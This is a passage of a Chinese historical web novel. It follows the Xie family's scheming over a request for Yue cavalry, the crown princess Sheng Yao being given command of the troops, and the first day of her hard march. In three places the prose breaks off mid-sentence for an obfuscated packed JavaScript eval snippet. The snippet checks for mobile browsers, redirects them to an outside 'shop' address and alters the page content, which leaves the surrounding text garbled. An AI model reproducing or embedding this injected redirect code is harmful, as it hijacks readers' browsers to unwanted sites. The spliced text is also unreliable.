可钉子钉得极为艰难。眼看就快要到春天,水系解冻,凌汛未至,两岸泥涂就已深陷马蹄。谢承大营扎于阳邑城西三十里的古渡口。放眼望去,不见一丝人烟。 田昉自不可能如朝廷诏令那般割让城池。三城城门紧闭,吊桥高悬。城头上,岱州旗帜猎猎作响,垛口处戈矛森然,俨然一副守势,绝无半点交割的迹象。 城外更是荒凉。方圆百里之内,村落皆空。井被填埋,屋舍焚去顶梁,连田垄间的沟渠都被挖断。 原本应当返乡复耕的流民被谢承大军带到此处,面对的却是一片焦土。无片瓦粒米,只能依附于谢承军营旁,勉强搭建窝棚度日。 这是最彻底的坚壁清野。田昉将百姓驱赶,物资也收拢入城,只留给谢承一片白地。 谢承为人持重,此番本来兵马不多,便命军士依山傍水,修筑坞堡,就地作长久屯田之计。 然而粮道依然不靖。 谢承站在辕门刁斗之下,一身铁甲被霜汽洇得发白。 他是谢家的大公子,过继而来,长得不似二弟那般阴鸷,也不似三弟那般儒雅,更加没有四弟的俊美。 他生得张宽阔的大黑脸,满脸络腮胡,身板像是一堵厚实的墙。若不穿这身将军甲胄,活脱脱就是个关西的老农。 此处是要道隘口,山林茂密。每当麾下军卒与流民出营开荒、伐木或汲水时,林莽间便会传出唿哨。 袭击者不着甲胄,皆作绿林响马打扮,并不正面对抗,只在山林边缘游走。见军势大则散入深山,见落单军卒或运粮小队便一拥而上,劫掠杀戮,来去如风。 旬日之内,谢承军中运粮队被劫三次,负责督导屯田的校尉在巡视时被冷箭射杀。新开垦的荒田,夜里常被人毁坏,甚至在水源中投下死畜粪便。 军中不胜其扰,士气渐低。谢承虽有五千精锐,但多为中都步卒与重甲屯骑。步卒追不上响马,重骑进了山林便是寸步难行,反倒成了被袭扰的活靶子。 要破此艰,非得有一支同样来去如风、善于山地奔袭的轻骑不可。 中都兵马,唯有“越骑”校尉所部,马匹多选自河西、代北,兵士拣选自内附的山越瓯越之民,皮甲贯矢,最擅长山地驰逐与奔袭,以此能制响马。 但越骑,如今握在他三弟谢绰手中。 谢承眉头紧锁,沉吟良久。 长子掌外阃重兵,次子掌都畿监察,三子掌禁卫宿卫。互为犄角,也互相牵制。如今长子若要调越骑,便是要打破这层平衡,向中都伸手。 帐外风声呼啸,悬着的刁斗铿锵作响。 谢承不再犹豫,铺开素帛,提笔疾书。 “儿承顿首。自引军至平原津,田贼坚壁不出,尽毁野庐。贼以响马游骑,日夜袭扰粮道,毁我耒耜,杀我耕牛。儿所部多重甲步卒,虽勇而拙,难收全功。 “今屯田未成,粮草日耗。追之不及,纵之则患。久待恐生变数。恳请父亲速调越骑精兵三千,星夜驰援。儿当率之扫荡群丑,以安侧背,是矣早图大计。” 写罢,谢承掷笔于案。 “八百里加急,即刻送往都中。” 亲卫进帐,谢承将封泥封好的竹筒递过去。 * 送入都中,自然不进宫门,直接去了相府的案头。 消息像长了脚的风,转个弯就吹进了谢琚的耳朵里。 谢琚正坐在别苑西厢的廊下,手里拿着一把干草,漫不经心地喂只从猎苑流民营边上捡回来的白兔子。 “越骑。” 青年低声重复。兔子嚼着草叶,三瓣嘴动个不停。 大哥也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968073|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被逼急了,居然开口向三哥要兵。越骑一动,都畿宿卫就空了一角。若是不动,平原津的钉子就扎不下去。 谢琚拍拍手上草屑,站起身。 “回府。” 马车没用东宫的,只点了丞相府自家的几名侍卫。 谢府在都城最显贵的尚冠里。门前的积雪扫得干干净净,乌漆门楣油光发亮,看着比人还要体面些。 谢琚下了车,拢着狐裘往里走。府里的下人见了他,不敢怠慢,纷纷垂手肃立,也没人敢拦,任由他一路穿过前庭。 腕间的铃铛叮铃作响,在这幽邃的宅邸里,显得很是奇特。 他没去自己的院子,径直去了父亲的书房。 房门虚掩着,透出一股浓重苦涩的药味,混着沉香,熏得人脑仁疼。 谢琚站在门口,手指在门上停了一瞬,直接推门而入。 屋里很暗,大白天的也拉起帘幕。 谢巡就坐在书案后。 这位权倾天下的老人,没穿朝服,也没披甲胄,只穿着一件半旧的深色常服,看起来瘦得有些脱形。手里正拿着那个竹筒,听见动静,也没抬头,只把竹筒往案上一扔。 “回来了。” 谢琚点头,寻了个最暖和的所在——离他爹最远的那张软榻,顺手拎过旁边的暖炉,挑起火签。 “父亲。” “你大哥来信了。”老人说,“要越骑。” “大哥打仗,要兵也是常事。”他随口应道,“父亲给他就是了。” 谢巡不置可否,目光在小儿子过于昳丽的脸上转过,瞧见那个有些扎眼的青珊瑚耳坠。 “你那皇太女,怎么样了?” 老人问得很随意,像是在问养的一只猫儿狗儿。 谢琚躬一躬身。 “吵。” 他皱眉抱怨,“能吃能睡。前两天为了几千个流民哭得鼻涕一把泪一把,总逼着儿子吃些乱七八糟的东西。傻得厉害。” 又像是想起了什么极为糟糕的回忆,补了一句: “……还一身猪味儿。” “傻?”谢巡面色冷淡,“能在猎苑里逼着老夫撤回射声营,演一出‘驺虞不杀’的戏码?” “那是有人教的。”谢琚甩锅甩得行云流水,“北方高将军授意,姓庾的野……庾澈,还有姓常的老头。一帮子唯恐天下不乱的人,把她忽悠得找不着北……” 谢巡沉默片刻,似乎接受了这个解释。 “流民,你想办法让她安抚住。”这老父亲警告,“老大在前头打仗,后院不能起火。她想做好人,就让她做。想借猎苑,也随她。” 如果没有人在背后推波助澜,光凭那个唯唯诺诺十年的小丫头,和庾澈那个外人,做不出这么大的动荡。 但她那些把戏,区区数百新兵内卫,招揽些败落人物,与中都的坚利兵马相比,着实算不上一点威胁。 老者起身,伸出枯瘦的手,拍拍谢琚的肩膀。手劲儿很大,沉重,宛如要将父亲的意志压进他骨头里。 “小打小闹。”谢巡沉吟,“你由着她,别太过火。折腾些名声出来也无妨。” 老人靠回榻上,缓缓闭眼:“太庙里的泥塑,还是个女孩儿。金身塑得太厚,容易压垮底座。毫无威严,也震不住公卿。你自己把握分寸。” 不能没有,不能太多。傀儡若是握住了刀,第一个便是要砍向提线的人。 谢琚坐了一会儿,便站起身:“父亲若是没有别的吩咐,儿子就先回去了。阿摇还在等我用晚膳。” 他转身欲走。 叮铃。铃声在门口停住。 “季玉。”谢琚脚步一顿,回过头。 “父亲还有何事?” 沉默。屋内炭火烧得旺,将浓重的药味蒸腾得更苦了些。 “这些年……” 谢巡睁开眼。青年敛袖肃立,看起来挺拔恭敬,耳上却悬着青珊瑚坠。这是他最聪明,也最“没用”的儿子。 “这些年,” “你装得好。” 39. 萧墙自起,麒麟连环 “父亲。” 谢琚转回身,垂下手, 既然当面明白的说破,再装疯卖傻,便是侮辱这位把控朝局三十年的老人的智慧。 “儿子装得不好。”谢琚从容走回案边,端正侍立,“早被父亲看出来了。” “你好得很。”谢巡夸一句, “疯了好些。”谢琚敛袖行礼,“疯了,二哥就不会把刀架在儿子脖子上;疯了,三哥才方便在儿子面前演他的兄友弟恭。父亲,” “四个儿子,总得有个先退场的,家里才能清静些。” 老权臣一拍案几:“什么清净!老二贪虐,老三刚愎自用。你那个大哥,敦厚有余,却是个只能守成的主。谢家这条船,风雨飘摇。若是再出一个锋芒毕露的‘麒麟’,不用等老夫闭眼,你们兄弟几个,现在就能把这尚冠里给拆了。” “却也不好。”青年小心地绕过话头,“这些年,儿子岂不是活得太累了些?” “太累?” 谢巡坐在书案后的阴影里:“大智若愚,大奸似忠。不累,怎么活得下来?” 谢琚沉默片刻:“儿子只是不想死。” “想活,就得做事。” 谢巡不听他的废话,将竹筒里八百里加急的军报往前一推,“你大哥在平原津要越骑。这事,你怎么看?” “若是你是老三,这三千越骑,你发是不发?” 这是一道考校的送命题,几乎是个死结。 “三哥不敢发。” 谢琚伸出修长的手指,从案几上划一道。 “三哥若交出兵符让旁人去,他又怕那人被大哥收编,越骑一出城门,五校禁军也能易主,到时候,三哥就成了砧板上的鱼肉。为了自保,他宁可看着大哥在平原津吃土,也绝不会动这一兵一卒。” “但父亲不能不救大哥。” 谢琚续道,“平原津若是丢了,攻打岱州就不能再提,幕中将领恐生龃龉。高昂见我有隙,必会南下。到时候,咱们谢家就是腹背受敌。” “那便让老二去!”谢巡厉声道,“司隶校尉督察三辅,他也带得兵!” “二哥?”谢琚恭敬道,“父亲,二哥是条饿狼。您让他带兵出京去救大哥?只怕他前脚刚走,后脚就和大哥联手,或者干脆把大哥的兵也吞了,到时候拥兵自重,回过头来,父亲相府的大门,怕是都要被他踢烂。” 谢巡面色阴沉。 这些道理,他如何不知?谢绰的威重在于调遣权责,绝不肯交出兵权,谢充也不肯放过机会。一旦下令调兵,这微妙的平衡即刻崩塌,粮道未通,萧墙之祸先起。 正是因为太清楚这几个儿子的秉性,这才下成了如今的死局。三个儿子互相牵制,互相防备,这本是他中年时代为了稳固权位设下,如今坐大,却成了勒死谢氏的绳索。 “你有办法。” 谢巡冷漠地看着这个儿子。 “老夫都没想好该派谁去,越骑事情一来,你就来了,方才一进门,不问安,不请罪,怎么?” “既然不装了,那就给为父破了这个局。” 谢琚转身,走到窗前,推开一丝缝隙。让窗外的寒风吹进来。 寒风缭扬。这就是最后的机会。 若是走错,不仅他走不了,连阿摇也会被永远困死在这座囚牢般的都城里。 “既然自家兄弟不成,”谢琚回过身,“那便找个谁都不信、但也谁都不敢动的人去。” “谁?” “皇太女。” 谢琚说,轻飘飘的,好似在说今晚吃什么。 “冬狩既毕,让殿下打着‘抚军’的旗号,代天巡狩,统领越骑东进支援。” ”殿下与二哥有隙——猎苑分流民那一出,二哥可是恨她入骨。殿下带走越骑,三哥不必担心领兵者被策反。 “皇太女去,越骑就不是‘调给’大哥,而是‘护卫’储君。兵权名义上还在三哥手里,这是给了三哥面子,不至于让人觉得他被夺权。” 谢巡道:“继续说。” “等到了前线,皇太女不懂兵事。这三千越骑怎么用,还不是大哥说了算?这是给了大哥里子。” “至于二哥……”谢琚冷静地续道,“二哥那边,见兵权没落入大哥或旁系手里,只是给了个无用的女娃娃,又乐见三哥的兵马被带走,必然倾向于和三哥在中都相斗,也不会出外狗急跳墙。” “似此三方势力,皆可平衡。” “你……”谢巡看着这个小儿子,语调十分复杂,“你想离中都?” 谢琚:“是。” 谢巡:“为何?” “因为这里太吵了。”谢琚抚弄着手腕上的红绳铃铛,神情很是厌倦,“儿子不想哪天睡着觉,就被亲哥哥把脑袋割下来。” “而且,”他语气忽然温柔,似乎又变回了那个名士风流般的四公子,“阿摇想出去玩。她想去看看外面,看看大哥怎么屯田的。我想让她笑一笑。” “为了女人?”谢巡打量他。 “为了活着。”谢琚道,俯下身, “父亲的身体,拖不起了。都中一旦有变,大哥在外有兵,此时皇太女去。就是大哥和谢家的后路。万一都中生乱,二哥三哥自相残杀,大哥手握重兵与大义,进,可以废立,退,可以割据。” 谢巡不语,谢琚左右一看,稍作停顿,复又道, “……只瞒不过父亲,儿子也确有讨厌庾子湛之意。他看殿下的眼神,我不喜欢。把他留在都中,我把殿下带走。离得远远的。” 这是私心。 必定是为了争风吃醋,是为了儿女情长。 一个胸怀韬略、足以安邦定国的策士,给出的理由是为了独占一个女人。 多么荒唐,又多么……让人放心。 谢巡看着儿子平静安闲的脸,稍稍打消些疑忌。 这就是谢琚。有王佐之才,却无王佐之志。他将才华视作手中玩物,全不是用来争夺天下的利器。 这样的人,最好用。 因为他没有野心,只有私情。 “你若是早生十年……”这老权臣长叹一声,惋惜苍凉,“这相府的门楣,何至于此。” 如果不疯,这就是那个十五岁能在沙盘上三战三捷的“中都麒麟”。 狠辣,精准,洞察人心。将兄弟阋墙的珍珑,变成了盘活全盘的妙手。连他这个父亲的死期,都算进了里头。 谢琚又躬身道, “……三全之策。” “好。” 如此一来,皇太女过于成功的冬狩,就是谢氏日后东进策略的一部分。 谢巡盯着谢琚,无论小儿子如何想,这确是一个绝妙的平衡点。 支援了前线,也暂时延缓都中的内斗。 谢巡赞道,“好方略。” 老人闭上眼,似乎极为疲惫,“三千越骑,你和皇太女带走。旨意我让尚书台拟。” “但你要记住,”谢巡睁开眼,“兵权是谢家的。到了平原津,你要把虎符亲手交给你大哥。皇太女,只是个幌子。如果她不听话……” 谢琚垂下眼,恭顺行礼: “儿子明白。她是父亲的傀儡,也就是儿子的傀儡。” “去吧。”谢巡一拂手,“别让你二哥三哥看出来。” 谢琚躬身退下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978827|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对了,”临出门前,谢巡忽然叫住他,“季玉。” 谢琚停步,侧身。 “这出戏,你是从什么时候开始唱的?”老人在阴影里问,“因为你母亲去世?还是更早?” 青年抚摸腕间铜铃,铃舌被他用手指按住,不曾声响。 “父亲。”他回头, “儿子一直是这样。您不是最清楚吗?” …… 门扉合上的刹那,寒风扑面而来。 青年站在廊庑的阴影里,系好颈间狐裘。 “老了。”对着萧瑟的寒风,叹了一声, 老得勘不破这离同合异,表里连环。 阿摇要调兵遣将,兵将却是活的,不止认符节,也得认人。越骑营三千兵马,尽是内附的瓯越百越。这群人,是最不认中都诗书礼仪,世家门第高低的。 而勇气和血性,是最容易感染人的东西。 为什么阿摇须在猎苑里拉开那张“折鸿”? 为什么要逼着她去手格野彘,让她满脸是血地在三军面前驰骋? 为什么纵容她在祭坛前剑断驺虞幡,以身挡箭? 仅仅是为了几千流民的活路吗? 不。 符节未入手,人心当早备。 贸然把兵士交由皇太女,对父亲而言是险策。正如为了稳固门阀势力而分权的儿子们,顺着时势坐大。 然而拖不起了。连环九扣,只有一解。恰似顺水推舟,从时势的夹缝里,导向此刻唯一合理的方案。 一场冬狩,谋合皇太女的“大义”名分,和兄弟间的猜忌,将这支中都最精锐的轻骑,如穿花蝴蝶般,从利害权衡中摘了出来。 “三千越骑……”谢琚低下头,理一理衣袖。 行了。足够她把爪子磨得稍微利点。 …… 从相府出来的时候,天已经快黑了。 都中的雪又开始下,细细碎碎的小粒,沾染上青年的眉睫。 那个人正站在廊边。谢琚却开始犹豫,比刚刚设计父亲的时候,更加慌张。 还没有想好该用什么表情去面对那只兔子。是继续冷着脸让她滚远点,还是告诉她:“收拾东西,你该逃命了”? 盛尧披了件厚厚的斗篷,手里提着盏不太亮的宫灯,正踮着脚往这边张望。雪落在她的发顶,也不去拂,只时不时跺跺脚,往手心里哈一口气。 傻乎乎的。完全不知道自己刚才在兄长的倾轧里,替她拆出来了什么。 谢琚的马车停下,那眼睛一下子亮了,却没有像往常那样冲过来。 “鲫鱼!” 她看起来终于给自己下了决心,提起裙摆,跳下阶时在雪地上一顿,大概是想问问父亲的情况,又怕惹他不快,最后只憋出一句: “你怎么才回来!” 少女总算冲到他面前,把带着体温的灯笼往他手里一塞,自然地伸手去探他的手, “冷不冷?我都让阿览把汤热了三回了!那个乳酥都要化没了!” 谢琚低头,手里的灯笼摇晃。 他还在与她生气,没错。 非常生她的气。 但反正自己就要走了,走前最后再顺着这小皇女一回,也不是不行。 也不是不行。 “阿摇,”青年平静温柔地侧过头,将宫灯举高些,望她脸上照照。 光影交错,两人圈在这一方小小的明暗天地里。 “什么?”盛尧问,仰着头看他。 “阿摇,”他抿着唇,又说,灯火的橘红黄晕晃荡,从青年眼睫上飘摇着拨落,在眼底筛出细碎的摇光, “笑一笑。” 40. 我诏过吗? 盛尧呆了呆。这要求有些没头没脑。 宫灯的橘红暖光从脸上晃了一圈,映出还有些茫然的神情。 她在这里提着灯笼像个更夫似的转悠,原不是为了什么风花雪月。其实心里是有点慌的。 谢琚今日独自回相府,这举动本身就显出“我要跑路”或者“我要去自投罗网”的危险预兆。 盛尧真怕这只锦鲤心一横,把“天命”给扔在泥地里不管了——毕竟她羽翼实在不丰,还得靠着这谶纬吊命。 更怕那是谢丞相身体突然出了什么不可挽回的大岔子,相府要变天,而她被蒙在鼓里,还傻乎乎地不知死活。 她已经做好了最坏的打算——拽着他的袖子再哭上一场,或者再拿剑抵着他——都一样,反正已经丢过一次人了,也不怕第二次。 可没想到,回来的却是一个会在风雪里甚至给她举着灯,还要温温柔柔让她“笑一笑”的谢琚。 盛尧盯着那双浸在夜色和灯火里的眸子。 在一瞬间,给她整不会了。 不是才生过气吗?不是还在冷脸吗? 明明昨天还在生气,还在发疯,今天就又能提着灯笼,用这种软得能滴出水的语气同她说话。 这就是……中都麒麟的心思吗? 盛尧心里又是迷茫又是佩服:真是让人怎么都摸不透。 “笑……?” 太怪了,这疯病发作起来,居然还有这种……这种让人怪不好意思的症状。 行吧。她是仁君,她体恤臣下,臣下要看笑,那就笑一个。 盛尧试探着牵动嘴角。 于是她嘴角上翘,眼睛弯起来,露出一口洁白整齐的牙齿。 脸颊在斗篷里捂得热乎乎的,配上那双刚被寒风吹得有些红彤彤的眼睛。 就只是很高兴他回来了,也很高兴他看起来全须全尾,还好心地接过了她的灯笼。 “嗬。” 她笑出声来,眉眼弯弯,映着灯火,甜得有些过分。 灯笼晃得有些凶了,光影在两人之间摇晃。青年目光瞟过,复又抬起头,神情丝毫不变,只是原本因为寒冷而略显苍白的唇,似乎恢复了些许血色。 “嗯。” “尚可。” 他说,声音轻得像雪落。又把灯笼往她那边送了送,好让光更多地笼在她身上。最后似乎不耐烦了,横了她一眼,索性把灯笼塞回她手里。 盛尧眼见这青年转过身,自行向着屋内走去,好像根本没提过这茬。 耳朵冻得有些红,背影显得很是矜持,只有手腕上的铃铛,频率极快地响了一串。 “喂。”她赶紧在后面追,匆忙的,“笑过了。” 谢琚停下,沉默了片刻,最后什么也没说,只是点点头,大度地递过袖子让她扯着,两人深一脚浅一脚,踏碎了一地的流光碎影,往有热汤和乳酥的屋子里走去。 * 但这温柔乡还没沉溺多久,第二天一早,谢琚难得地窝在西厢睡自己的觉,没来书房圈地打扰她。 而一块巨大无比、馅料足得能砸死人的天上馅饼,就轰隆一声砸上盛尧的脑门。 来呈书的是尚书台的令史,身后还跟着一脸吃了苍蝇般表情的崔长史。 “皇太女诏曰:自孤躬亲戎事,威加海内。今抚军将军屯田平原,乃国之大事。特代天巡狩,抚奖三军。” 令史格外大声地,替她念出了后头那句,让盛尧差点以为自己听错了的话: “……中都越骑校尉张楙所部三千精锐,即日拔营,护送殿下东巡平原津!” …… 盛尧懵了,我诏过吗? 随后觉得这不重要。 越骑!三千! 那可是中都军中最擅长奔袭、最桀骜不驯、连谢充都指挥不动的精锐轻骑! 这……这就是庾澈说的“诚意”?不对,庾澈哪有这么大本事能调动谢家的兵马? 那是……谢巡? 这只老狐狸,怎么突然舍得把这么大一块肥肉塞进她嘴里?让她带兵出中都? 这是试探?是捧杀?还是另有所图? 无数个念头在脑海里疯狂打转,心脏扑通扑通跳得像在擂鼓。 巨大的惊喜和巨大的恐惧混杂在一起,冲得她头皮发麻。 带兵!出京! 这意味着她终于不用再被困在这四四方方的别苑里,不用再对着那一角四四方方的天发愁!她真的有了能带出去打仗的兵马! “殿下?”令史见她久久不语,试探着唤了一声。 不管了,冷静。冷静,不管了。 盛尧,你是主君,是泰山崩于前而色不变的皇太女。你不能像个没见过世面的土包子似的。 盛尧缓缓抬起头,脸上做出一副波澜不惊、勉为其难的冷淡模样。 “哦。” 她接过文书,往案上一搁。 “知道了。” 盛尧学着谢琚那厌倦神情,对尚书长史和崔长史挥手,“若是没别的事,就退下吧。我想再歇会儿。” 这副“天降大任于斯人也但我好烦”的傀儡做派,让崔亮在旁边看得直擦冷汗,心想小姑娘这定力当真可怕,手里突然握了三千最精锐的骁骑,居然还能如此面不改色! 待到一群人毕恭毕敬地退了出去,殿门吱呀一声重新关紧。 屋里只剩下了自己。 盛尧坐在案前,僵硬地维持着那个高深莫测的姿势,竖着耳朵听外面的脚步声走远。 一步,两步,远了,听不见了。 她冲过去,一把将门栓插死。又飞快地跑到窗边,确认窗户也关严实了。 “啊————!!!” 一声尖叫被死死憋在喉咙里。 少女猛地跳起来,抱起那卷象征着自由和兵权的文书,原地转了三个圈,发了疯一样冲向内室。 脱鞋!上榻! 她把自己整个儿卷进软绵绵的被窝里,用被子蒙住头,以此来隔绝那快要溢出来的笑声。 我有兵了! 我有兵了!三千越骑!那是真正能打仗的骑兵! 我在马上射箭杀猪没白练! 皇太女殿下,这位刚刚还要再“歇会儿”的储君,此刻正如同一只欢脱的青蛙,在被窝里疯狂地扭动,两条腿直蹬,把好端端的锦被踢得乱七八糟。 我要带走郑小丸!我要带走卢览! 还有常老先生!还有内卫! 全都要带走! 一个都不留给这群都中的王八蛋! 她兴奋得脸颊通红,抱着枕头使劲蹭。 要不是怕外头听见,真想爬起来给谢丞相磕个响头。 * 天放晴了,第二天,盛尧开始啃馅饼。 首先,天上不会掉馅饼,只会掉陷阱。 这个道理盛尧是懂的。 谢巡把三千越骑塞给她,到时候听谁的还不好说。怎么看都像是把一块肥肉绑在兔子身上,然后一脚把兔子踹进狼窝里头。 但这有什么关系? “常先生,”盛尧一边疯狂地往箱笼里塞东西,一边回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986717|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪怕这前面是刀山火海,哪怕谢家在路上埋伏了八百个刀斧手,我也得走!必须走!” 留在中都,那就是瓮中之鳖,等着被人剥皮拆骨。走出去,哪怕是个死,那也能死在旷野上,指不定还能溅别人一脸血。 常柏抚须而笑,对她的决断十分赞赏:“置之死地而后生。殿下有此魄力,便是那一线生机所在。” 不过,魄力归魄力,命还是只有一条的。 盛尧并不傻,她不想把自己好不容易攒起来的这点家底儿,全给谢家的阴谋陪葬。 “分两路走。” 她最后拍板定案。为了不被一锅端了,把队伍拆开。 打定主意自己做个明晃晃的靶子。让郑小丸带着几百名内卫,乔装改扮,当作商队,护送着常柏和卢览,带着东西和人,悄悄从商道低调潜行。 当然,为了保命,盛尧特意留了一手——把谢琚拴在了身边。 这位未来的“皇后”,就是最好用的人肉盾牌。要是谢家敢放冷箭,先射死他们自家四公子! 原本以为卢览会还要啰嗦几句“主君不可涉险”的大道理,谁知道她答应得比谁都快。 “殿下英明!就这么办!臣这就去收拾细软!” 卢览头都不抬,手脚比谁都麻利,脸上迫不及待的喜气,看得盛尧都一愣一愣的。 “阿览,你怎么……比我还高兴?” “能不高兴吗!”卢览匆匆把一卷竹简塞进袖筒,“前几天猎苑,我哪怕捂成了粽子,也总觉得那卫尉老头子的眼珠子往我身上飘。再不跑,就要被抓回去拜堂了!” ……好吧,这逃命的动力倒也十分充足。 两拨人马分定,择日启程。 到了出发那日,都城东门外,旌旗招展。 三千越骑,清一色的河西健马,皮甲劲弩,鞍侧高悬红缨,看着也是乌压压地。肃杀精悍的铁血气,冲得都城寒风都淡了不少。 而站在阵前的中领军谢绰,比那寒风还要阴沉。 谢绰今日穿着一身朝服。 脸色很不好看。不,应该说是难看到了极点。 即便他平日里再怎么自居“儒将”,再怎么讲究风度涵养,此刻看着自己费尽心思掏过来的精锐兵马,就这样整建制地跟着他忌惮的“傻弟弟”和“小太女”跑了,脸上的温润笑容也实在是有些挂不住。 “殿下此去平原津,路途遥远,还望珍重。” 谢绰拱手,将调兵的虎符递过,那手有些紧,简直好似虎符粘在了手上,盛尧稍微用劲儿拽了一下,才拽过来。 “君侯放心!” 盛尧一把抓过虎符,紧紧攥在手心里。 “我一定好好替君侯‘抚奖’将士!不愧是君侯亲兵!” 夸得越大声,谢绰的脸就越黑一分。 她喜孜孜地翻身上了枣红马,忽然身后凌空一声鞭响,侧面谢琚策着白马,当先一振鞭,飒沓急行而过。 寒风凛冽,听他头也不回地道, “谢三哥的兵。” 叮铃。 清脆的铃声越过他,随着白马的步伐轻快而去。 谢绰大怒,回手就要拔弓,被左右裨将生生拦住。 盛尧勒转马头,赶紧将长剑指天,一声令下。 “出发——!” * 这样的意气风发,大约持续了半天。 待到当天晌午,盛尧就意识到,部甲出征这块馅饼,是多么不容易吃下去。 甚至到了庆幸自己只带着谢琚,没让阿览和常老先生随行的程度。 41. 烤兔子 谢丞相这三千精骑,当然不是轻易放给她的。 统军不容易,尤其是当你面对的是一支纯粹的轻骑兵,而你的丞相爹爹,压根没给你准备步卒护卫的时候。 “军无辎重则亡,无粮食则亡。” 按照常理,大军出征,当是步骑混编。骑兵为两翼,步卒居中,辎重粮草在后。前军探路,中军结阵,后军压阵。日行三十里,至多五十里,步步为营。 可刚出东门,盛尧便看出不对劲。 没错,太快了。 盛尧勒住缰绳,枣红马不安地打着响鼻。她挑起眼睛,望着前方烟尘滚滚的骑兵方阵。 谢丞相给她的这三千越骑,根本算不上“军队”。 谢巡,这只老谋深算的狐狸,在给她兵权的同时,也给她套上了一副名为“神速”的枷锁。 确实给了她兵权。名义上归她调遣。但他抽走了这支军队的“脚”——没有步卒护卫中军,没有民伕转运粮草,这是一支纯粹的、为了速度而生的轻骑兵。 盛尧低着头琢磨,越骑营接到真正的军令,恐怕是“轻赍急进,驰援平原”。 出都门走了二十里,她大致晓得,平原津战事吃紧,抚军将军谢承在信中告急,要的是一支能星夜驰援、如天兵降临般的救火队。因此,骑兵的配置,完全是按照奔袭的最高规格来的。 每名骑士,除了座下战马,另配有一至二匹副马。一人二马,精锐者三马,轮换乘骑,歇马不歇人。 士卒不埋锅,不造灶,马背革囊里每人塞十日份的干糇、肉脯。渴饮沟渠,饥食干肉,几乎是日夜兼程,这就是所谓“卷甲而趋,日夜不处”的急行军。这样的队伍,一日夜可行二百里。 “好狠的手段。” 要在平原津战局溃烂之前,如同一把尖刀插进去。 但这把刀,却不想带着刀鞘。 盛尧,就是那个累赘的“刀鞘”。 她是皇太女,应该乘安车卤簿——大致就像她给卢览和常老先生安排的那般。 哪怕拉车的马再好,也是车。车要走大路,遇水要搭桥,遇山要绕行。一天能走五十里顶天了。 而越骑一人三马,遇水涉渡,遇山翻越。一旦放开了跑,日行百里甚至一百二十里,如探囊取物。 若是这样走下去,不过一天,越骑就会跑得连影子都看不见,将她这个“统帅”远远甩在后方几百里外吃灰。 名为统兵,实为流放。等她晃晃悠悠到了平原津,恐怕仗早就打完,兵权也早就在谢承手里攥得热乎。她去,真的就只是去“抚奖”,也就是摆着看完一圈,再灰溜溜地回来。 统兵出征第一天,皇太女就被火速架空。 盛尧呆呆地出神。被人拱手相让的权力,不是真正的权力。她接过来时,根本跟不上这权力的速度。 “殿下,”随行的越骑司马策马过来,看起来很是恭敬,“前方路途遥远,骑装疾行恐惊扰殿下。请殿下移步安车暂歇,末将等会在前方三十里处扎营等候。” 这就是在赶人了。让她上车,就是让她掉队。 “殿下,”崔亮——这回也不得不跟来的苦命长史,骑在一匹马上,被颠得脸色发白,凑到她旁边劝道,“张将军乃是行伍粗人,不懂礼数。殿下千金之躯,怎可受此劳顿?不如传令让他们慢些……” “慢?” 所谓“首尾不能相顾”,一旦她被抛在后面,这三千越骑,就真成了脱缰的野马,再也不受她控制。 更何况——谢丞相的身体眼见要不行了,盛尧还记得谢琚说的那句话。在外行军不比都中别苑,真怕这个“皇后”在自己没看见的时候,自行私下做些什么,譬如逃走之类。 她一咬牙。血冲上头顶。 “长史坐不住马,自去车里歇着。” 盛尧双腿一夹马腹,策马冲到队伍的最前列,正好与越骑校尉张楙并辔而行。 张楙正嚼着一块硬肉干,见她冲上来,有些惊诧,却也没说话,只是嘴角冷笑,似乎在等着看这位娇滴滴的小殿下什么时候哭着回去找车。 盛尧摇头, “张将军,我也有一匹备马。我的干粮,和士卒一样。从中都到平原津,越骑走多快,我就走多快。除非我死在马背上,否则,这中军大纛在哪,我就在哪。” 大出张楙意外:“殿下千金之躯,这等行军苦楚,哪怕是健卒也未必能撑得住,何况……” “闭嘴!”盛尧厉声道,她今日穿得一身利落窄袖戎装,腰束革带,脚蹬长靴,只有头上还戴着那个有些累赘的冕冠。 看起来是生气了,少女的脸上泛起红潮,抬手一把摘下冕冠,扔给后头的崔亮, “越骑校尉听令!中军何在?前军何在?我就在中军最前!你敢把主帅甩在后面,就是失律!谁若敢因我而缓行半步,立斩!” 少女展颜一笑。 想把她甩掉?没门! “越骑行军,”旁边谢琚策着白马赶上, 青年声音清冷,“寅时造饭,卯时拔营。” “未时下马,饮马一次,人不得歇,食肉脯充饥。直至日落,方才下寨。” 日不亮就出发,一天只在天黑前正经停一次。中间全靠在马上颠簸。 